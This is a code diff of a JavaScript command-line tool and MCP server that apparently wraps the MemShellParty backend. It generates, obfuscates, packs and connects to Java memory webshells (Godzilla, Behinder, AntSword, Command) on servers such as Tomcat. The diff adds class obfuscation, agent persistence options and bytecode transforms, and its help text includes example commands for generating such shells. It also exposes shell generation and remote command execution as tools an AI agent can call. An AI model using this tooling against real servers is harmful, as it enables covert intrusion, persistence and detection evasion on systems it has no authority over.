@@ -3383,17 +4071,6 @@ var JDK_CHOICES = [
|
|
|
3383
4071
|
value: name
|
|
3384
4072
|
}))
|
|
3385
4073
|
];
|
|
3386
|
-
function packerChoices(tree) {
|
|
3387
|
-
const choices = [];
|
|
3388
|
-
for (const parent of tree) {
|
|
3389
|
-
choices.push(new Separator(`\u2500\u2500 ${parent.name} \u2500\u2500`));
|
|
3390
|
-
choices.push({ name: parent.name, value: parent.name });
|
|
3391
|
-
for (const child of parent.children) {
|
|
3392
|
-
choices.push({ name: ` ${child}`, value: child });
|
|
3393
|
-
}
|
|
3394
|
-
}
|
|
3395
|
-
return choices;
|
|
3396
|
-
}
|
|
3397
4074
|
async function runMemShellWizard(client) {
|
|
3398
4075
|
const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
|
|
3399
4076
|
const server = await select({
|
|
@@ -3409,13 +4086,19 @@ async function runMemShellWizard(client) {
|
|
|
3409
4086
|
message: "Shell type",
|
|
3410
4087
|
choices: config[server][shellTool].map((t) => ({ name: t, value: t }))
|
|
3411
4088
|
});
|
|
3412
|
-
const
|
|
3413
|
-
message: "Packer",
|
|
3414
|
-
choices:
|
|
4089
|
+
const category = await select({
|
|
4090
|
+
message: "Packer category",
|
|
4091
|
+
choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
|
|
3415
4092
|
});
|
|
4093
|
+
const selected = packerTree.find((packer2) => packer2.name === category);
|
|
4094
|
+
const packer = selected.children.length ? await select({
|
|
4095
|
+
message: "Packer variant",
|
|
4096
|
+
choices: selected.children.map((name) => ({ name, value: name }))
|
|
4097
|
+
}) : category;
|
|
3416
4098
|
const opts = { server, shellTool, shellType, packer };
|
|
3417
4099
|
switch (shellTool) {
|
|
3418
4100
|
case "Godzilla":
|
|
4101
|
+
case "GodzillaSession":
|
|
3419
4102
|
opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" });
|
|
3420
4103
|
opts.godzillaKey = await input({ message: "Godzilla key", default: "key" });
|
|
3421
4104
|
break;
|
|
@@ -3442,7 +4125,7 @@ async function runMemShellWizard(client) {
|
|
|
3442
4125
|
}
|
|
3443
4126
|
case "Custom": {
|
|
3444
4127
|
const file = await input({ message: "Path to custom .class file" });
|
|
3445
|
-
opts.shellClassBase64 =
|
|
4128
|
+
opts.shellClassBase64 = readFileSync7(file).toString("base64");
|
|
3446
4129
|
break;
|
|
3447
4130
|
}
|
|
3448
4131
|
default:
|
|
@@ -3463,7 +4146,8 @@ async function runMemShellWizard(client) {
|
|
|
3463
4146
|
{ name: "static initialize", value: "staticInitialize", checked: true },
|
|
3464
4147
|
{ name: "bypass Java module", value: "byPassJavaModule" },
|
|
3465
4148
|
{ name: "lambda suffix", value: "lambdaSuffix" },
|
|
3466
|
-
{ name: "debug", value: "debug" }
|
|
4149
|
+
{ name: "debug", value: "debug" },
|
|
4150
|
+
{ name: "class obfuscation (v3+)", value: "obfuscate" }
|
|
3467
4151
|
]
|
|
3468
4152
|
});
|
|
3469
4153
|
opts.shrink = toggles.includes("shrink");
|
|
@@ -3471,6 +4155,7 @@ async function runMemShellWizard(client) {
|
|
|
3471
4155
|
opts.byPassJavaModule = toggles.includes("byPassJavaModule");
|
|
3472
4156
|
opts.lambdaSuffix = toggles.includes("lambdaSuffix");
|
|
3473
4157
|
opts.debug = toggles.includes("debug");
|
|
4158
|
+
opts.obfuscate = toggles.includes("obfuscate");
|
|
3474
4159
|
const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
|
|
3475
4160
|
if (!confirmed) {
|
|
3476
4161
|
throw new Error("Cancelled by user.");
|
|
@@ -3483,7 +4168,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
|
|
|
3483
4168
|
function toOptions(o) {
|
|
3484
4169
|
let shellClassBase64 = o.shellClassBase64;
|
|
3485
4170
|
if (o.shellClassFile) {
|
|
3486
|
-
shellClassBase64 =
|
|
4171
|
+
shellClassBase64 = readFileSync8(o.shellClassFile).toString("base64");
|
|
3487
4172
|
}
|
|
3488
4173
|
return {
|
|
3489
4174
|
server: o.server,
|
|
@@ -3497,6 +4182,9 @@ function toOptions(o) {
|
|
|
3497
4182
|
shrink: o.shrink,
|
|
3498
4183
|
lambdaSuffix: o.lambdaSuffix,
|
|
3499
4184
|
probe: o.probe,
|
|
4185
|
+
obfuscate: o.obfuscate,
|
|
4186
|
+
obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
|
|
4187
|
+
obfuscationScope: o.obfuscationScope,
|
|
3500
4188
|
shellClassName: o.shellClassName,
|
|
3501
4189
|
godzillaPass: o.godzillaPass,
|
|
3502
4190
|
godzillaKey: o.godzillaKey,
|
|
@@ -3515,7 +4203,14 @@ function toOptions(o) {
|
|
|
3515
4203
|
};
|
|
3516
4204
|
}
|
|
3517
4205
|
function registerGenCommand(program) {
|
|
3518
|
-
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--
|
|
4206
|
+
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").addOption(
|
|
4207
|
+
new Option4("--obfuscation-scope <scope>", "obfuscation scope (MemShellParty v3+)").choices([
|
|
4208
|
+
"ALL",
|
|
4209
|
+
"MEMSHELL_INJECTOR",
|
|
4210
|
+
"INJECTOR",
|
|
4211
|
+
"MEMSHELL"
|
|
4212
|
+
])
|
|
4213
|
+
).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
3519
4214
|
"after",
|
|
3520
4215
|
`
|
|
3521
4216
|
Examples:
|
|
@@ -3527,12 +4222,14 @@ Examples:
|
|
|
3527
4222
|
$ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
|
|
3528
4223
|
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
3529
4224
|
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
4225
|
+
$ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true
|
|
3530
4226
|
|
|
3531
4227
|
Note: run 'memparty config' to list the available servers, tools, shell
|
|
3532
|
-
types and packers.
|
|
3533
|
-
|
|
3534
|
-
|
|
3535
|
-
(shellToolConfig) you need for
|
|
4228
|
+
types and packers. On v3, parent packers are categories \u2014 pick a concrete
|
|
4229
|
+
variant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still
|
|
4230
|
+
support aggregate packers, but -o cannot write several variants to one file.
|
|
4231
|
+
The --json output includes the gate header (shellToolConfig) you need for
|
|
4232
|
+
'memparty connect' / 'memparty exec'.
|
|
3536
4233
|
`
|
|
3537
4234
|
).action(async (opts, cmd) => {
|
|
3538
4235
|
const client = createClient(cmd.optsWithGlobals());
|
|
@@ -3551,6 +4248,12 @@ for a single payload. The --json output includes the gate header
|
|
|
3551
4248
|
memOpts = toOptions(opts);
|
|
3552
4249
|
}
|
|
3553
4250
|
const request = buildMemShellRequest(memOpts);
|
|
4251
|
+
const { agentArgs } = opts;
|
|
4252
|
+
if (agentArgs !== void 0 && !supportsAgentLoadArguments(memOpts.shellType, memOpts.packer)) {
|
|
4253
|
+
throw new Error(
|
|
4254
|
+
"--agent-args requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
4255
|
+
);
|
|
4256
|
+
}
|
|
3554
4257
|
const genMeta = {
|
|
3555
4258
|
server: memOpts.server,
|
|
3556
4259
|
serverVersion: memOpts.serverVersion,
|
|
@@ -3583,14 +4286,25 @@ for a single payload. The --json output includes the gate header
|
|
|
3583
4286
|
meta: genMeta
|
|
3584
4287
|
});
|
|
3585
4288
|
if (opts.json) {
|
|
3586
|
-
|
|
4289
|
+
const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
|
|
4290
|
+
const doc = {
|
|
4291
|
+
...response,
|
|
4292
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
4293
|
+
...agentArgs === void 0 ? {} : { agentArgs, agentLoadExamples: agentLoadExamples(agentArgs) }
|
|
4294
|
+
};
|
|
4295
|
+
process.stdout.write(`${JSON.stringify(doc, null, 2)}
|
|
3587
4296
|
`);
|
|
3588
4297
|
return;
|
|
3589
4298
|
}
|
|
3590
4299
|
const r = response.memShellResult;
|
|
3591
4300
|
logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
|
|
3592
4301
|
logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);
|
|
3593
|
-
if (
|
|
4302
|
+
if (hasMultiplePackResults(response)) {
|
|
4303
|
+
if (opts.output !== void 0) {
|
|
4304
|
+
throw new Error(
|
|
4305
|
+
`-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
4306
|
+
);
|
|
4307
|
+
}
|
|
3594
4308
|
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
3595
4309
|
logInfo(`
|
|
3596
4310
|
=== ${name} ===`);
|
|
@@ -3599,24 +4313,24 @@ for a single payload. The --json output includes the gate header
|
|
|
3599
4313
|
}
|
|
3600
4314
|
return;
|
|
3601
4315
|
}
|
|
3602
|
-
|
|
3603
|
-
throw new Error("Server returned no packResult.");
|
|
3604
|
-
}
|
|
3605
|
-
const result = emitPayload(response.packResult, {
|
|
4316
|
+
const result = emitSinglePackResult(response, {
|
|
3606
4317
|
outFile: opts.output,
|
|
3607
4318
|
decode: opts.decode
|
|
3608
4319
|
});
|
|
3609
4320
|
if (result.destination !== "stdout") {
|
|
3610
4321
|
logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
|
|
3611
4322
|
}
|
|
4323
|
+
if (agentArgs !== void 0) {
|
|
4324
|
+
for (const example of agentLoadExamples(agentArgs)) logInfo(`load: ${example}`);
|
|
4325
|
+
}
|
|
3612
4326
|
});
|
|
3613
4327
|
}
|
|
3614
4328
|
|
|
3615
4329
|
// src/commands/log.ts
|
|
3616
|
-
import { Option as
|
|
4330
|
+
import { Option as Option5 } from "commander";
|
|
3617
4331
|
function registerLogCommand(program) {
|
|
3618
4332
|
program.command("log").description("Show the global operation log").addOption(
|
|
3619
|
-
new
|
|
4333
|
+
new Option5("--category <name>", "filter by operation category").choices([
|
|
3620
4334
|
"gen",
|
|
3621
4335
|
"probe",
|
|
3622
4336
|
"connect",
|
|
@@ -3671,7 +4385,7 @@ import { writeFileSync as writeFileSync5 } from "fs";
|
|
|
3671
4385
|
import { z } from "zod";
|
|
3672
4386
|
|
|
3673
4387
|
// src/core/localfile.ts
|
|
3674
|
-
import { existsSync as existsSync5, readFileSync as
|
|
4388
|
+
import { existsSync as existsSync5, readFileSync as readFileSync9, statSync } from "fs";
|
|
3675
4389
|
import { dirname as dirname3, join as join6, resolve } from "path";
|
|
3676
4390
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
3677
4391
|
function remoteBasename(remotePath) {
|
|
@@ -3727,7 +4441,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
3727
4441
|
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
3728
4442
|
);
|
|
3729
4443
|
}
|
|
3730
|
-
return
|
|
4444
|
+
return readFileSync9(localPath);
|
|
3731
4445
|
}
|
|
3732
4446
|
|
|
3733
4447
|
// src/version.ts
|
|
@@ -3760,12 +4474,15 @@ var memShellInput = {
|
|
|
3760
4474
|
shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
|
|
3761
4475
|
shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
|
|
3762
4476
|
packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
|
|
3763
|
-
jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
|
|
4477
|
+
jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
|
|
3764
4478
|
debug: z.boolean().optional(),
|
|
3765
4479
|
byPassJavaModule: z.boolean().optional(),
|
|
3766
4480
|
shrink: z.boolean().optional(),
|
|
3767
4481
|
lambdaSuffix: z.boolean().optional(),
|
|
3768
4482
|
probe: z.boolean().optional(),
|
|
4483
|
+
obfuscate: z.boolean().optional(),
|
|
4484
|
+
obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
|
|
4485
|
+
obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
|
|
3769
4486
|
shellClassName: z.string().optional(),
|
|
3770
4487
|
godzillaPass: z.string().optional(),
|
|
3771
4488
|
godzillaKey: z.string().optional(),
|
|
@@ -3780,17 +4497,23 @@ var memShellInput = {
|
|
|
3780
4497
|
shellClassBase64: z.string().optional(),
|
|
3781
4498
|
urlPattern: z.string().optional(),
|
|
3782
4499
|
injectorClassName: z.string().optional(),
|
|
3783
|
-
staticInitialize: z.boolean().optional()
|
|
4500
|
+
staticInitialize: z.boolean().optional(),
|
|
4501
|
+
agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
|
|
4502
|
+
outputFile: z.string().optional().describe(
|
|
4503
|
+
"also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
|
|
4504
|
+
)
|
|
3784
4505
|
};
|
|
3785
4506
|
var probeInput = {
|
|
3786
|
-
probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
|
|
3787
|
-
probeContent: z.string().describe("
|
|
4507
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
|
|
4508
|
+
probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
|
|
3788
4509
|
packer: z.string(),
|
|
3789
4510
|
jdk: z.string().optional(),
|
|
3790
4511
|
debug: z.boolean().optional(),
|
|
3791
4512
|
byPassJavaModule: z.boolean().optional(),
|
|
3792
4513
|
shrink: z.boolean().optional(),
|
|
3793
4514
|
lambdaSuffix: z.boolean().optional(),
|
|
4515
|
+
obfuscate: z.boolean().optional(),
|
|
4516
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
3794
4517
|
staticInitialize: z.boolean().optional(),
|
|
3795
4518
|
shellClassName: z.string().optional(),
|
|
3796
4519
|
host: z.string().optional(),
|
|
@@ -3798,7 +4521,31 @@ var probeInput = {
|
|
|
3798
4521
|
sleepServer: z.string().optional(),
|
|
3799
4522
|
server: z.string().optional(),
|
|
3800
4523
|
reqParamName: z.string().optional(),
|
|
3801
|
-
commandTemplate: z.string().optional()
|
|
4524
|
+
commandTemplate: z.string().optional(),
|
|
4525
|
+
respHeaderName: z.string().optional(),
|
|
4526
|
+
outputFile: memShellInput.outputFile
|
|
4527
|
+
};
|
|
4528
|
+
var bytecodeInput = {
|
|
4529
|
+
classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
|
|
4530
|
+
outputFile: z.string().optional().describe("also write the transformed class to this local file")
|
|
4531
|
+
};
|
|
4532
|
+
var bytecodeTransformInput = {
|
|
4533
|
+
...bytecodeInput,
|
|
4534
|
+
packer: z.string().optional(),
|
|
4535
|
+
byPassJavaModule: z.boolean().optional(),
|
|
4536
|
+
staticInitialize: z.boolean().optional(),
|
|
4537
|
+
shrink: z.boolean().optional(),
|
|
4538
|
+
renamePackage: z.boolean().optional(),
|
|
4539
|
+
relocateFrom: z.string().optional(),
|
|
4540
|
+
relocateTo: z.string().optional(),
|
|
4541
|
+
entryMethod: z.string().optional(),
|
|
4542
|
+
newClassName: z.string().optional(),
|
|
4543
|
+
randomName: z.boolean().optional(),
|
|
4544
|
+
obfuscate: z.boolean().optional(),
|
|
4545
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
4546
|
+
server: z.string().optional(),
|
|
4547
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
|
|
4548
|
+
respHeaderName: z.string().optional()
|
|
3802
4549
|
};
|
|
3803
4550
|
var connectInput = {
|
|
3804
4551
|
name: z.string().optional().describe(
|
|
@@ -3812,7 +4559,8 @@ var connectInput = {
|
|
|
3812
4559
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
3813
4560
|
suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
|
|
3814
4561
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
3815
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
4562
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
4563
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
3816
4564
|
};
|
|
3817
4565
|
var execInput = {
|
|
3818
4566
|
name: z.string().optional().describe(
|
|
@@ -3829,7 +4577,8 @@ var execInput = {
|
|
|
3829
4577
|
headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
|
|
3830
4578
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
3831
4579
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
3832
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
4580
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
4581
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
3833
4582
|
};
|
|
3834
4583
|
var transferConnInput = {
|
|
3835
4584
|
name: execInput.name,
|
|
@@ -3841,6 +4590,7 @@ var transferConnInput = {
|
|
|
3841
4590
|
headerValue: execInput.headerValue,
|
|
3842
4591
|
insecure: execInput.insecure,
|
|
3843
4592
|
timeoutMs: execInput.timeoutMs,
|
|
4593
|
+
upgradeProtocol: execInput.upgradeProtocol,
|
|
3844
4594
|
remoteCharset: z.string().optional().describe(
|
|
3845
4595
|
"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
|
|
3846
4596
|
)
|
|
@@ -3868,12 +4618,82 @@ var targetSaveInput = {
|
|
|
3868
4618
|
headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
|
|
3869
4619
|
headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
|
|
3870
4620
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
4621
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
|
|
3871
4622
|
projectRemark: z.string().optional().describe("project remark (merged into the project)"),
|
|
3872
4623
|
projectCategory: z.string().optional().describe("project category (merged into the project)"),
|
|
3873
4624
|
shellRemark: z.string().optional().describe("remark for this shell")
|
|
3874
4625
|
};
|
|
3875
4626
|
function createMcpServer(client) {
|
|
3876
4627
|
const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
|
|
4628
|
+
server.registerTool(
|
|
4629
|
+
"bytecode_decode",
|
|
4630
|
+
{
|
|
4631
|
+
title: "Decode Java class",
|
|
4632
|
+
description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
|
|
4633
|
+
inputSchema: bytecodeInput
|
|
4634
|
+
},
|
|
4635
|
+
async (args) => {
|
|
4636
|
+
try {
|
|
4637
|
+
const result = await client.decodeBytecode(args.classBytesBase64);
|
|
4638
|
+
const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
|
|
4639
|
+
{ packResult: result.classBytesBase64Str },
|
|
4640
|
+
{ outFile: args.outputFile, decode: true }
|
|
4641
|
+
);
|
|
4642
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
4643
|
+
} catch (err) {
|
|
4644
|
+
return errorContent(err);
|
|
4645
|
+
}
|
|
4646
|
+
}
|
|
4647
|
+
);
|
|
4648
|
+
server.registerTool(
|
|
4649
|
+
"bytecode_transform",
|
|
4650
|
+
{
|
|
4651
|
+
title: "Transform Java class",
|
|
4652
|
+
description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
|
|
4653
|
+
inputSchema: bytecodeTransformInput
|
|
4654
|
+
},
|
|
4655
|
+
async (args) => {
|
|
4656
|
+
try {
|
|
4657
|
+
const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
|
|
4658
|
+
if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
|
|
4659
|
+
throw new Error("Package relocation requires relocateFrom and relocateTo.");
|
|
4660
|
+
}
|
|
4661
|
+
const {
|
|
4662
|
+
outputFile: outputPath,
|
|
4663
|
+
obfuscate: _obfuscate,
|
|
4664
|
+
obfuscationOptions,
|
|
4665
|
+
probeMethod,
|
|
4666
|
+
server: server2,
|
|
4667
|
+
respHeaderName,
|
|
4668
|
+
...fields
|
|
4669
|
+
} = args;
|
|
4670
|
+
const request = {
|
|
4671
|
+
obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
|
|
4672
|
+
...probeMethod === void 0 ? {} : {
|
|
4673
|
+
server: server2 ?? "Unknown",
|
|
4674
|
+
probe: {
|
|
4675
|
+
probeMethod,
|
|
4676
|
+
probeContent: "Bytecode",
|
|
4677
|
+
respHeaderName
|
|
4678
|
+
}
|
|
4679
|
+
}
|
|
4680
|
+
};
|
|
4681
|
+
const result = await client.transformBytecode({
|
|
4682
|
+
classBytesBase64: args.classBytesBase64,
|
|
4683
|
+
...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
|
|
4684
|
+
...renamePackage ? { renamePackage } : {},
|
|
4685
|
+
...request
|
|
4686
|
+
});
|
|
4687
|
+
const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
|
|
4688
|
+
{ packResult: result.packResult ?? result.classBytesBase64Str },
|
|
4689
|
+
{ outFile: outputPath, decode: result.packResult === void 0 || void 0 }
|
|
4690
|
+
);
|
|
4691
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
4692
|
+
} catch (err) {
|
|
4693
|
+
return errorContent(err);
|
|
4694
|
+
}
|
|
4695
|
+
}
|
|
4696
|
+
);
|
|
3877
4697
|
server.registerTool(
|
|
3878
4698
|
"list_servers",
|
|
3879
4699
|
{ title: "List servers", description: "List supported servers and their shell types" },
|
|
@@ -3924,9 +4744,41 @@ function createMcpServer(client) {
|
|
|
3924
4744
|
}
|
|
3925
4745
|
}
|
|
3926
4746
|
);
|
|
4747
|
+
server.registerTool(
|
|
4748
|
+
"list_shell_tool_configs",
|
|
4749
|
+
{
|
|
4750
|
+
title: "List shell tool configs",
|
|
4751
|
+
description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
|
|
4752
|
+
},
|
|
4753
|
+
async () => {
|
|
4754
|
+
try {
|
|
4755
|
+
return jsonContent(await client.getShellToolConfigs());
|
|
4756
|
+
} catch (err) {
|
|
4757
|
+
return errorContent(err);
|
|
4758
|
+
}
|
|
4759
|
+
}
|
|
4760
|
+
);
|
|
4761
|
+
server.registerTool(
|
|
4762
|
+
"list_obfuscation_options",
|
|
4763
|
+
{
|
|
4764
|
+
title: "List obfuscation options",
|
|
4765
|
+
description: "List class obfuscation option keys, defaults and valid values (v3+)"
|
|
4766
|
+
},
|
|
4767
|
+
async () => {
|
|
4768
|
+
try {
|
|
4769
|
+
return jsonContent(await client.getObfuscationOptions());
|
|
4770
|
+
} catch (err) {
|
|
4771
|
+
return errorContent(err);
|
|
4772
|
+
}
|
|
4773
|
+
}
|
|
4774
|
+
);
|
|
3927
4775
|
server.registerTool(
|
|
3928
4776
|
"generate_memshell",
|
|
3929
|
-
{
|
|
4777
|
+
{
|
|
4778
|
+
title: "Generate memory shell",
|
|
4779
|
+
description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
|
|
4780
|
+
inputSchema: memShellInput
|
|
4781
|
+
},
|
|
3930
4782
|
async (args) => {
|
|
3931
4783
|
const meta = {
|
|
3932
4784
|
server: args.server,
|
|
@@ -3938,7 +4790,18 @@ function createMcpServer(client) {
|
|
|
3938
4790
|
};
|
|
3939
4791
|
const started = Date.now();
|
|
3940
4792
|
try {
|
|
3941
|
-
|
|
4793
|
+
if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
|
|
4794
|
+
throw new Error(
|
|
4795
|
+
"agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
4796
|
+
);
|
|
4797
|
+
}
|
|
4798
|
+
const response = await client.generateMemShell(
|
|
4799
|
+
buildMemShellRequest({
|
|
4800
|
+
...args,
|
|
4801
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
4802
|
+
})
|
|
4803
|
+
);
|
|
4804
|
+
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
3942
4805
|
logOp({
|
|
3943
4806
|
category: "gen",
|
|
3944
4807
|
action: "gen",
|
|
@@ -3947,7 +4810,14 @@ function createMcpServer(client) {
|
|
|
3947
4810
|
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
3948
4811
|
meta
|
|
3949
4812
|
});
|
|
3950
|
-
return jsonContent(
|
|
4813
|
+
return jsonContent({
|
|
4814
|
+
...response,
|
|
4815
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
4816
|
+
...args.agentArgs === void 0 ? {} : {
|
|
4817
|
+
agentArgs: args.agentArgs,
|
|
4818
|
+
agentLoadExamples: agentLoadExamples(args.agentArgs)
|
|
4819
|
+
}
|
|
4820
|
+
});
|
|
3951
4821
|
} catch (err) {
|
|
3952
4822
|
logOp({
|
|
3953
4823
|
category: "gen",
|
|
@@ -3963,7 +4833,11 @@ function createMcpServer(client) {
|
|
|
3963
4833
|
);
|
|
3964
4834
|
server.registerTool(
|
|
3965
4835
|
"generate_probe",
|
|
3966
|
-
{
|
|
4836
|
+
{
|
|
4837
|
+
title: "Generate probe shell",
|
|
4838
|
+
description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
|
|
4839
|
+
inputSchema: probeInput
|
|
4840
|
+
},
|
|
3967
4841
|
async (args) => {
|
|
3968
4842
|
const meta = {
|
|
3969
4843
|
probeMethod: args.probeMethod,
|
|
@@ -3973,7 +4847,13 @@ function createMcpServer(client) {
|
|
|
3973
4847
|
};
|
|
3974
4848
|
const started = Date.now();
|
|
3975
4849
|
try {
|
|
3976
|
-
const response = await client.generateProbe(
|
|
4850
|
+
const response = await client.generateProbe(
|
|
4851
|
+
buildProbeRequest({
|
|
4852
|
+
...args,
|
|
4853
|
+
